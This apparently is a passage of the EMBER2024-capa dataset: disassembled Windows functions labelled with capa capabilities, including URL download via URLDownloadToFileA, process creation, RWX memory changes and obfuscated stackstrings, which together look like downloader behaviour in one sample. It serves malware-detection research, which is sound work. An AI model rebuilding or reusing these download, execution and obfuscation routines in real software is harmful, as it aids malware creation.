joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40ea20
Capabilities:
Encode data using xor

Disassembly:
sub rdx, rcx
cmp rdx, 0x20
jae 0x40ea3e
test rdx, rdx
je 0x40ea43
cmp rdx, 4
jae 0x40ea46
xor eax, eax
mov r8, rcx
jmp 0x40eba4
jmp fcn.00402340
xor eax, eax
ret
mov r8, rdx
and r8, 0xfffffffffffffffc
lea rax, [r8 - 4]
mov r9, rax
shr r9, 2
add r9, 1
test rax, rax
je 0x40ebc9
mov r10, r9
and r10, 0xfffffffffffffffe
pxor xmm0, xmm0
xor r11d, r11d
movdqa xmm2, xmmword [0x004350b0]
movdqa xmm3, xmmword [0x004350c0]
pxor xmm1, xmm1
nop word [rax + rax]
movzx eax, word [rcx + r11]
movd xmm4, eax
movzx eax, word [rcx + r11 + 2]
movd xmm5, eax
pcmpgtb xmm4, xmm2
punpcklbw xmm4, xmm4
pshuflw xmm4, xmm4, 0xd4
pshufd xmm4, xmm4, 0xd4
pand xmm4, xmm3
paddq xmm4, xmm0
pcmpgtb xmm5, xmm2
punpcklbw xmm5, xmm5
pshuflw xmm0, xmm5, 0xd4
pshufd xmm5, xmm0, 0xd4
pand xmm5, xmm3
paddq xmm5, xmm1
movzx eax, word [rcx + r11 + 4]
movd xmm0, eax
movzx eax, word [rcx + r11 + 6]
movd xmm1, eax
pcmpgtb xmm0, xmm2
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0xd4
pshufd xmm0, xmm0, 0xd4
pand xmm0, xmm3
paddq xmm0, xmm4
pcmpgtb xmm1, xmm2
punpcklbw xmm1, xmm1
pshuflw xmm1, xmm1, 0xd4
pshufd xmm1, xmm1, 0xd4
pand xmm1, xmm3
paddq xmm1, xmm5
add r11, 8
add r10, 0xfffffffffffffffe
jne 0x40ea90
test r9b, 1
je 0x40eb8a
movzx eax, word [rcx + r11]
movd xmm2, eax
movzx eax, word [rcx + r11 + 2]
movd xmm3, eax
movdqa xmm4, xmmword [0x004350b0]
pcmpgtb xmm2, xmm4
punpcklbw xmm2, xmm2
pshuflw xmm2, xmm2, 0xd4
pshufd xmm2, xmm2, 0xd4
movdqa xmm5, xmmword [0x004350c0]
pand xmm2, xmm5
paddq xmm0, xmm2
pcmpgtb xmm3, xmm4
punpcklbw xmm3, xmm3
pshuflw xmm2, xmm3, 0xd4
pshufd xmm2, xmm2, 0xd4
pand xmm2, xmm5
paddq xmm1, xmm2
paddq xmm0, xmm1
pshufd xmm1, xmm0, 0xee
paddq xmm1, xmm0
movq rax, xmm1
cmp r8, rdx
je 0x40ebc8
add r8, rcx
add rcx, rdx
nop word [rax + rax]
xor edx, edx
cmp byte [r8], 0xc0
lea r9, [r8 + 1]
setge dl
add rax, rdx
mov r8, r9
cmp r9, rcx
jne 0x40ebb0
ret
pxor xmm0, xmm0
xor r11d, r11d
pxor xmm1, xmm1
test r9b, 1
jne 0x40eb33
jmp 0x40eb8a
Function at 0x412660
Capabilities:
Allocate thread local storage

Disassembly:
push rsi
push rdi
push rbx
sub rsp, 0xa0
mov rsi, rcx
lea rdi, [0x0043d098]
mov rcx, rdi
call sub.KERNEL32.DLL_AcquireSRWLockExclusive
mov qword [rsp + 0x28], rdi
mov rbx, qword [rsi]
test rbx, rbx
jne 0x41271b
mov rbx, qword [rsi + 8]
call sub.KERNEL32.DLL_TlsAlloc
cmp eax, 0xffffffff
je 0x412733
mov edi, eax
test rbx, rbx
je 0x41270f
mov rcx, qword [0x0043d0c0]
test rcx, rcx
jne 0x4126ca
call sub.KERNEL32.DLL_GetProcessHeap
test rax, rax
je 0x412805
mov rcx, rax
mov qword [0x0043d0c0], rax
mov r8d, 0x18
xor edx, edx
call sub.KERNEL32.DLL_HeapAlloc
test rax, rax
je 0x412805
mov rcx, rax
mov qword [rax], rbx
mov qword [rax + 8], 0
mov dword [rax + 0x10], edi
mov rax, qword [0x0043d0c8]
nop dword [rax + rax]
mov qword [rcx + 8], rax
lock cmpxchg qword [0x0043d0c8], rcx
jne 0x412700
mov ebx, edi
mov rax, rbx
xchg qword [rsi], rax
test edi, edi
je 0x412750
mov rcx, qword [rsp + 0x28]
call sub.KERNEL32.DLL_ReleaseSRWLockExclusive
mov rax, rbx
add rsp, 0xa0
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_key___c::TLS_OUT_OF_INDEXESlibrary_std_src_syswindows_thread_local_key.rs
lea r8, [0x00438830]
mov edx, 0x2e
call fcn.004031a0
jmp 0x412814
mov byte [rsp + 0x24], 0
mov dword [rsp + 0x20], 0
lea rax, str.assertion_failed:_key___0
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 1
mov qword [rsp + 0x80], 0
lea rax, [0x004372b0]
mov qword [rsp + 0x90], rax
mov qword [rsp + 0x98], 0
lea rax, [rsp + 0x70]
mov qword [rsp + 0x30], rax
lea rax, [0x004033d0]
mov qword [rsp + 0x38], rax
lea rax, str.fatal_runtime_error:__n
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x30]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], 1
lea rcx, [rsp + 0x20]
lea rdx, [rsp + 0x40]
call fcn.00412f70
test rax, rax
je 0x4127fc
mov rcx, rax
call fcn.00413000
mov ecx, 7
int 0x29
ud2
mov ecx, 0x18
mov edx, 8
call fcn.004018d0
ud2
Function at 0x413130
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x58
test byte [rcx], 1
mov byte [rcx], 0
je 0x4133a6
mov rax, qword [0x0043d040]
xor esi, esi
lea rcx, [0x0043d048]
cmp rax, 3
cmove rsi, rcx
jne 0x41339e
mov rcx, qword [0x00434028]
test rcx, rcx
je 0x413179
call sub.KERNEL32.DLL_TlsGetValue
cmp rax, 1
ja 0x413193
jmp 0x4131d8
lea rcx, [0x00434028]
call fcn.00412660
mov rcx, rax
call sub.KERNEL32.DLL_TlsGetValue
cmp rax, 1
jbe 0x4131d8
mov rdi, rax
cmp byte [rax + 8], 0
je 0x4131d8
add rdi, 9
mov rax, qword [0x0043d050]
cmp rax, rdi
jne 0x4132c7
mov eax, dword [0x0043d080]
inc eax
jne 0x4132e3
lea rcx, str.lock_count_overflow_in_reentrant_mutexlibrary_std_src_sys_common_remutex.rs
lea r8, [0x004381e0]
mov edx, 0x26
call fcn.00403c80
ud2
mov rcx, qword [0x00434028]
test rcx, rcx
je 0x413226
call sub.KERNEL32.DLL_TlsGetValue
test rax, rax
je 0x41323f
mov rdi, rax
cmp rax, 1
jne 0x4132ad
lea rax, [0x00437c00]
mov qword [rsp + 0x20], rax
lea rcx, [0x00437b9b]
lea r9, [0x00437720]
lea r8, [rsp + 0x28]
mov edx, 0x46
call fcn.00404090
ud2
lea rcx, [0x00434028]
call fcn.00412660
mov rcx, rax
call sub.KERNEL32.DLL_TlsGetValue
test rax, rax
jne 0x4131ee
mov rcx, qword [0x0043d0c0]
test rcx, rcx
jne 0x413263
call sub.KERNEL32.DLL_GetProcessHeap
test rax, rax
je 0x4133eb
mov rcx, rax
mov qword [0x0043d0c0], rax
mov r8d, 0x10
xor edx, edx
call sub.KERNEL32.DLL_HeapAlloc
test rax, rax
je 0x4133eb
mov rdi, rax
mov byte [rax + 8], 0
lea rax, [0x00434028]
mov qword [rdi], rax
mov rcx, qword [0x00434028]
test rcx, rcx
jne 0x4132a5
lea rcx, [0x00434028]
call fcn.00412660
mov rcx, rax
mov rdx, rdi
call sub.KERNEL32.DLL_TlsSetValue
mov word [rdi + 8], 1
add rdi, 9
mov rax, qword [0x0043d050]
cmp rax, rdi
je 0x4131b0
mov rcx, rsi
call sub.KERNEL32.DLL_TryAcquireSRWLockExclusive
test al, al
je 0x41339e
mov qword [0x0043d050], rdi
mov eax, 1
mov dword [0x0043d080], eax
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x38], 1
xorps xmm0, xmm0
movups xmmword [rsp + 0x40], xmm0
mov qword [rsp + 0x4e], 0
cmp qword [0x0043d058], 0
jne 0x4133c0
mov qword [0x0043d058], 0xffffffffffffffff
cmp byte [0x0043d07d], 0
jne 0x413343
lea rcx, [0x0043d060]
call fcn.004134f0
test rax, rax
je 0x413343
mov rcx, rax
call fcn.00413000
cmp qword [0x0043d068], 0
je 0x413362
mov r8, qword [0x0043d060]
mov rcx, qword [0x0043d0c0]
xor edx, edx
call sub.KERNEL32.DLL_HeapFree
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movups xmmword [0x0043d070], xmm1
movups xmmword [0x0043d060], xmm0
add qword [0x0043d058], 1
add dword [0x0043d080], 0xffffffff
jne 0x41339e
mov qword [0x0043d050], 0
mov rcx, rsi
call sub.KERNEL32.DLL_ReleaseSRWLockExclusive
nop
add rsp, 0x58
pop rdi
pop rsi
ret
lea rcx, str.called__Option::unwrap____on_a__None__value
lea r8, [0x00437fa8]
mov edx, 0x2b
call fcn.004031a0
ud2
lea rax, str.library_std_srcio_stdio.rs
mov qword [rsp + 0x20], rax
lea rcx, str.already_borrowed__A
lea r9, [0x00437740]
lea r8, [rsp + 0x28]
mov edx, 0x10
call fcn.00404090
ud2
mov ecx, 0x10
mov edx, 8
call fcn.004018d0
ud2
Function at 0x414730
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
sub rsp, 0x20
mov rcx, qword [0x00434048]
test rcx, rcx
je 0x41474e
call sub.KERNEL32.DLL_TlsGetValue
cmp rax, 1
ja 0x414768
jmp 0x414775
lea rcx, [0x00434048]
call fcn.00412660
mov rcx, rax
call sub.KERNEL32.DLL_TlsGetValue
cmp rax, 1
jbe 0x414775
mov rsi, rax
cmp qword [rax], 0
jne 0x414831
mov rcx, qword [0x00434048]
test rcx, rcx
je 0x41479f
call sub.KERNEL32.DLL_TlsGetValue
test rax, rax
je 0x4147b8
mov rsi, rax
cmp rax, 1
jne 0x414822
xor esi, esi
jmp 0x414835
lea rcx, [0x00434048]
call fcn.00412660
mov rcx, rax
call sub.KERNEL32.DLL_TlsGetValue
test rax, rax
jne 0x41478b
mov rcx, qword [0x0043d0c0]
test rcx, rcx
jne 0x4147d8
call sub.KERNEL32.DLL_GetProcessHeap
test rax, rax
je 0x41483e
mov rcx, rax
mov qword [0x0043d0c0], rax
mov r8d, 0x18
xor edx, edx
call sub.KERNEL32.DLL_HeapAlloc
test rax, rax
je 0x41483e
mov rsi, rax
mov qword [rax], 0
lea rax, [0x00434048]
mov qword [rsi + 0x10], rax
mov rcx, qword [0x00434048]
test rcx, rcx
jne 0x41481a
lea rcx, [0x00434048]
call fcn.00412660
mov rcx, rax
mov rdx, rsi
call sub.KERNEL32.DLL_TlsSetValue
mov qword [rsi], 1
mov qword [rsi + 8], 0
add rsi, 8
mov rax, rsi
add rsp, 0x20
pop rsi
ret
mov ecx, 0x18
mov edx, 8
call fcn.004018d0
ud2

Function at 0x4148c0
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push rsi
push rdi
sub rsp, 0x28
mov rcx, qword [0x00434038]
test rcx, rcx
je 0x4148df
call sub.KERNEL32.DLL_TlsGetValue
cmp rax, 1
ja 0x4148f9
jmp 0x41490b
lea rcx, [0x00434038]
call fcn.00412660
mov rcx, rax
call sub.KERNEL32.DLL_TlsGetValue
cmp rax, 1
jbe 0x41490b
mov rdi, rax
cmp qword [rax], 0
je 0x41490b
add rdi, 8
jmp 0x4149e9
mov rcx, qword [0x00434038]
test rcx, rcx
je 0x414935
call sub.KERNEL32.DLL_TlsGetValue
test rax, rax
je 0x41494e
mov rsi, rax
cmp rax, 1
jne 0x4149bc
xor edi, edi
jmp 0x4149e9
lea rcx, [0x00434038]
call fcn.00412660
mov rcx, rax
call sub.KERNEL32.DLL_TlsGetValue
test rax, rax
jne 0x414921
mov rcx, qword [0x0043d0c0]
test rcx, rcx
jne 0x414972
call sub.KERNEL32.DLL_GetProcessHeap
test rax, rax
je 0x4149f3
mov rcx, rax
mov qword [0x0043d0c0], rax
mov r8d, 0x20
xor edx, edx
call sub.KERNEL32.DLL_HeapAlloc
test rax, rax
je 0x4149f3
mov rsi, rax
mov qword [rax], 0
lea rax, [0x00434038]
mov qword [rsi + 0x18], rax
mov rcx, qword [0x00434038]
test rcx, rcx
jne 0x4149b4
lea rcx, [0x00434038]
call fcn.00412660
mov rcx, rax
mov rdx, rsi
call sub.KERNEL32.DLL_TlsSetValue
lea rdi, [rsi + 8]
cmp qword [rsi], 0
mov rcx, qword [rsi + 0x10]
mov qword [rsi], 1
xorps xmm0, xmm0
movups xmmword [rsi + 8], xmm0
je 0x4149e9
test rcx, rcx
je 0x4149e9
lock sub qword [rcx], 1
jne 0x4149e9
call fcn.00412830
mov rax, rdi
add rsp, 0x28
pop rdi
pop rsi
ret
mov ecx, 0x20
mov edx, 8
call fcn.004018d0
ud2
Function at 0x432030
Capabilities:
Write file on windows

Disassembly:
push r12
push rbx
sub rsp, 0x38
mov r12, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call fcn.004330f0
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.msvcrt.dll_fwrite
mov rbx, qword [rsp + 0x28]
mov ecx, 2
call fcn.004330f0
mov rdx, r12
mov rcx, rax
mov r8, rbx
call sub.msvcrt.dll_vfprintf
call sub.msvcrt.dll_abort
nop
nop word [rax + rax]

Function at 0x4320a0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rdi, dword [0x0043d794]
mov r12, rcx
mov rsi, rdx
mov rbx, r8
test edi, edi
jle 0x432248
mov rax, qword [0x0043d798]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp r12, rdx
jb 0x4320ec
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp r12, rdx
jb 0x432177
add ecx, 1
add rax, 0x28
cmp ecx, edi
jne 0x4320d0
mov rcx, r12
call fcn.00432e00
mov rbp, rax
test rax, rax
je 0x432282
mov rax, qword [0x0043d798]
lea rdi, [rdi + rdi*4]
shl rdi, 3
add rax, rdi
mov qword [rax + 0x20], rbp
mov dword [rax], 0
call fcn.00432f30
mov ecx, dword [rbp + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x0043d798]
mov qword [rax + rdi + 0x18], rcx
call qword [sym.imp.KERNEL32.DLL_VirtualQuery]
test rax, rax
je 0x432291
mov eax, dword [rsp + 0x44]
lea edx, [rax - 0x40]
and edx, 0xffffffbf
je 0x432170
sub eax, 4
and eax, 0xfffffffb
jne 0x432200
add dword [0x0043d794], 1
cmp ebx, 8
jae 0x4321a8
test bl, 4
jne 0x432250
test ebx, ebx
je 0x432199
movzx eax, byte [rsi]
mov byte [r12], al
test bl, 2
jne 0x432270
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rsi]
lea rcx, [r12 + 8]
and rcx, 0xfffffffffffffff8
mov qword [r12], rax
mov eax, ebx
mov rdx, qword [rsi + rax - 8]
mov qword [r12 + rax - 8], rdx
sub r12, rcx
add ebx, r12d
sub rsi, r12
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x432199
and ebx, 0xfffffff8
xor eax, eax
mov edx, eax
add eax, 8
mov r8, qword [rsi + rdx]
mov qword [rcx + rdx], r8
cmp eax, ebx
jb 0x4321da
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
add rdi, qword [0x0043d798]
mov qword [rdi + 8], rcx
mov r9, rdi
mov qword [rdi + 0x10], rdx
call qword [sym.imp.KERNEL32.DLL_VirtualProtect]
test eax, eax
jne 0x432170
call qword [sym.imp.KERNEL32.DLL_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.00432030
nop dword [rax]
xor edi, edi
jmp 0x4320f7
mov eax, dword [rsi]
mov ebx, ebx
mov dword [r12], eax
mov eax, dword [rsi + rbx - 4]
mov dword [r12 + rbx - 4], eax
jmp 0x432199
mov ebx, ebx
movzx eax, word [rsi + rbx - 2]
mov word [r12 + rbx - 2], ax
jmp 0x432199
mov rdx, r12
lea rcx, str.Address__p_has_no_image_section
call fcn.00432030
mov rax, qword [0x0043d798]
mov edx, dword [rbp + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rdi + 0x18]
call fcn.00432030
nop
nop dword [rax]
Function at 0x432a70
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x0043da80]
call qword [sym.imp.KERNEL32.DLL_EnterCriticalSection]
mov rbx, qword [0x0043da60]
test rbx, rbx
je 0x432ac4
mov rdi, qword [sym.imp.KERNEL32.DLL_TlsGetValue]
mov rsi, qword [sym.imp.KERNEL32.DLL_GetLastError]
mov ecx, dword [rbx]
call rdi
mov r12, rax
call rsi
test eax, eax
jne 0x432abb
test r12, r12
je 0x432abb
mov rax, qword [rbx + 8]
mov rcx, r12
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x432aa0
lea rcx, [0x0043da80]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop r12
jmp qword [sym.imp.KERNEL32.DLL_LeaveCriticalSection]

Function at 0x432e00
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r10, qword [0x004391d0]
xor r8d, r8d
cmp word [r10], 0x5a4d
mov r9, rcx
jne 0x432e79
mov rcx, r10
call fcn.00432cd0
test eax, eax
je 0x432e79
movsxd rax, dword [r10 + 0x3c]
mov rcx, r9
sub rcx, r10
add r10, rax
movzx eax, word [r10 + 0x14]
lea r8, [r10 + rax + 0x18]
movzx eax, word [r10 + 6]
test eax, eax
je 0x432e76
sub eax, 1
lea rax, [rax + rax*4]
lea r9, [r8 + rax*8 + 0x28]
nop dword [rax]
mov edx, dword [r8 + 0xc]
mov rax, rdx
cmp rcx, rdx
jb 0x432e6d
add eax, dword [r8 + 8]
cmp rcx, rax
jb 0x432e79
add r8, 0x28
cmp r8, r9
jne 0x432e58
xor r8d, r8d
mov rax, r8
add rsp, 0x28
ret
Function at 0x231941c0d
Capabilities:
Get file size
Read file on windows

Disassembly:
push rbp
push rbx
sub rsp, 0x68
lea rbp, [rsp + 0x60]
mov qword [rbp + 0x20], rcx
mov qword [rbp + 0x28], rdx
mov rax, qword [rbp + 0x20]
mov rcx, rax
call fcn.231a10e20
mov rax, qword [rbp + 0x28]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
mov r9d, 0
mov r8d, 1
mov edx, 0x80000000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateFileA]
call rax
mov qword [rbp - 8], rax
cmp qword [rbp - 8], 0xffffffffffffffff
je 0x231941d4d
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetFileSize]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0xffffffff
je 0x231941d21
mov eax, dword [rbp - 0xc]
add eax, 1
mov eax, eax
mov rcx, rax
call sym.operator_new___unsigned_long_long_
mov qword [rbp - 0x18], rax
lea r8, [rbp - 0x1c]
mov ecx, dword [rbp - 0xc]
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 8]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8d, ecx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
call rax
test eax, eax
je 0x231941ce8
mov eax, dword [rbp - 0x1c]
cmp dword [rbp - 0xc], eax
jne 0x231941ce8
mov eax, 1
jmp 0x231941ced
mov eax, 0
test al, al
je 0x231941d0e
mov edx, dword [rbp - 0xc]
mov rax, qword [rbp - 0x18]
add rax, rdx
mov byte [rax], 0
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp + 0x20]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.operator_char_const_
cmp qword [rbp - 0x18], 0
je 0x231941d21
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.operator_delete___void_
mov rax, qword [rbp - 8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
jmp 0x231941d4d
nop
mov rax, qword [rbp + 0x20]
add rsp, 0x68
pop rbx
pop rbp
ret

Function at 0x231941da5
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0xf0
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov dword [rbp + 0x20], r8d
lea rax, [rbp - 0x70]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x70], 0x68
lea rax, [rbp - 0x90]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sym.memset
mov rax, qword [rbp + 0x10]
lea rdx, [rbp - 0x90]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp - 0x70]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov edx, dword [rbp + 0x18]
mov dword [rsp + 0x28], edx
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
setne al
test al, al
je 0x231941eb1
cmp dword [rbp + 0x20], 0
je 0x231941e71
mov rax, qword [rbp - 0x90]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x90]
lea rdx, [rbp - 0x94]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
call rax
mov rax, qword [rbp - 0x90]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x88]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, dword [rbp - 0x94]
add rsp, 0xf0
pop rbp
ret
Function at 0x231942cb4
Capabilities:
Download url
Receive data

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov qword [rbp + 0x18], rdx
mov rdx, qword [rbp + 0x18]
mov rax, qword [rbp + 0x10]
mov qword [rsp + 0x20], 0
mov r9d, 0
mov r8, rdx
mov rdx, rax
mov ecx, 0
call sym.URLDownloadToFileA
add rsp, 0x30
pop rbp
ret

Function at 0x231942da4
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0x1d
mov byte [rbp - 0x30], 0xe9
mov byte [rbp - 0x2f], 0x43
mov byte [rbp - 0x2e], 0x8b
mov byte [rbp - 0x2d], 0x14
mov byte [rbp - 0x2c], 5
mov byte [rbp - 0x2b], 0x46
mov byte [rbp - 0x2a], 0x53
mov byte [rbp - 0x29], 0x46
mov byte [rbp - 0x28], 0x9b
mov byte [rbp - 0x27], 0x26
mov byte [rbp - 0x26], 0x98
mov byte [rbp - 0x25], 0x3b
mov byte [rbp - 0x24], 0x1c
mov byte [rbp - 0x23], 0x47
mov byte [rbp - 0x22], 0x16
mov byte [rbp - 0x21], 0x64
mov byte [rbp - 0x20], 0xeb
mov byte [rbp - 0x1f], 0x22
mov byte [rbp - 0x1e], 0xb3
mov byte [rbp - 0x1d], 4
mov byte [rbp - 0x1c], 0x14
mov byte [rbp - 0x1b], 0x50
mov byte [rbp - 0x1a], 0x53
mov byte [rbp - 0x19], 0x46
mov byte [rbp - 0x18], 0xae
mov byte [rbp - 0x17], 7
mov byte [rbp - 0x16], 0xb6
mov byte [rbp - 0x15], 0xc
mov byte [rbp - 0x14], 0x75
lea rax, [0x232213fa0]
mov rcx, rax
call sym.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x231942e99
lea rax, [0x232213fc0]
mov rcx, rax
call sym.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, rax
call method.ay::obfuscated_data_29ull__825042144000435147ull__char_.obfuscated_data_ay::obfuscator_29ull__825042144000435147ull__char__const_
lea rax, [0x232213fa0]
mov rcx, rax
call sym.__emutls_get_address
mov byte [rax], 1
lea rax, [0x232213fc0]
mov rcx, rax
call sym.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_29ull__825042144000435147ull__char_.obfuscated_data__]
mov rcx, rax
call dbg.__cxa_thread_atexit
lea rax, [0x232213fc0]
mov rcx, rax
call sym.__emutls_get_address
add rsp, 0x50
pop rbp
ret
Function at 0x231942f6c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x40
mov qword [rbp + 0x10], rcx
mov qword [rbp - 8], 0x10
mov byte [rbp - 0x20], 0x4f
mov byte [rbp - 0x1f], 0x77
mov byte [rbp - 0x1e], 0x7c
mov byte [rbp - 0x1d], 0xec
mov byte [rbp - 0x1c], 0xd
mov byte [rbp - 0x1b], 0x1e
mov byte [rbp - 0x1a], 0x30
mov byte [rbp - 0x19], 0x45
mov byte [rbp - 0x18], 0x76
mov byte [rbp - 0x17], 0x7a
mov byte [rbp - 0x16], 0x3d
mov byte [rbp - 0x15], 0xc2
mov byte [rbp - 0x14], 0x4c
mov byte [rbp - 0x13], 0x3a
mov byte [rbp - 0x12], 0x21
mov byte [rbp - 0x11], 0x21
lea rax, [0x232213f20]
mov rcx, rax
call sym.__emutls_get_address
movzx eax, byte [rax]
test al, al
jne 0x23194302d
lea rax, [0x232213f40]
mov rcx, rax
call sym.__emutls_get_address
mov rcx, rax
lea rax, [rbp - 0x20]
mov rdx, rax
call method.ay::obfuscated_data_16ull__2401917431512374047ull__char_.obfuscated_data_ay::obfuscator_16ull__2401917431512374047ull__char__const_
lea rax, [0x232213f20]
mov rcx, rax
call sym.__emutls_get_address
mov byte [rax], 1
lea rax, [0x232213f40]
mov rcx, rax
call sym.__emutls_get_address
mov r8d, 0
mov rdx, rax
lea rax, [method.ay::obfuscated_data_16ull__2401917431512374047ull__char_.obfuscated_data__]
mov rcx, rax
call dbg.__cxa_thread_atexit
lea rax, [0x232213f40]
mov rcx, rax
call sym.__emutls_get_address
add rsp, 0x40
pop rbp
ret
Function at 0x231943391
Capabilities:
Accept command line arguments

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x60
mov rax, qword [sym.imp.KERNEL32.dll_GetCommandLineW]
call rax
mov rcx, rax
lea rax, [rbp - 0x30]
mov rdx, rax
mov rax, qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
call rax
mov qword [rbp - 8], rax
mov ecx, 0
mov rax, qword [sym.imp.ole32.dll_CoInitialize]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x2319433d8
mov eax, dword [rbp - 0xc]
jmp 0x231943565
lea rax, [rbp - 0x18]
mov qword [rsp + 0x20], rax
mov r9, qword [0x23221dce0]
mov r8d, 1
mov edx, 0
mov rax, qword [0x23221dcd0]
mov rcx, rax
mov rax, qword [sym.imp.ole32.dll_CoCreateInstance]
call rax
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x231943417
mov eax, dword [rbp - 0xc]
jmp 0x231943565
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rcx, rax
lea rax, [rbp - 0x20]
mov r8, rax
mov rax, qword [0x23221dcf0]
mov rdx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x23194344d
mov eax, dword [rbp - 0xc]
jmp 0x231943565
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rcx, rax
lea rax, [rbp - 0x28]
mov r8, rax
mov rax, qword [str._3_2]
mov rdx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x231943483
mov eax, dword [rbp - 0xc]
jmp 0x231943565
mov rax, qword [rbp - 0x18]
mov rax, qword [rax]
add rax, 0x68
mov r9, qword [rax]
mov rax, qword [rbp - 0x18]
mov rdx, qword [rbp - 8]
add rdx, 0x10
mov rdx, qword [rdx]
mov r8d, 0
mov rcx, rax
call r9
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
jns 0x2319434bd
mov eax, dword [rbp - 0xc]
jmp 0x231943565
mov ecx, 0xbb8
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
add rax, 0x38
mov rdx, qword [rax]
mov rax, qword [rbp - 0x20]
mov rcx, rax
call rdx
mov dword [rbp - 0xc], eax
cmp dword [rbp - 0xc], 0
js 0x231943562
mov rax, qword [rbp - 0x28]
mov rax, qword [rax]
add rax, 0x48
mov r9, qword [rax]
mov rax, qword [rbp - 0x28]
lea rdx, [rbp - 0x2c]
mov r8, rdx
mov edx, 0xffffffff
mov rcx, rax
call r9
mov rax, qword [rbp - 0x20]
mov rax, qword [rax]
add rax, 0x10
mov rax, qword [rax]
mov rdx, qword [rbp - 0x20]
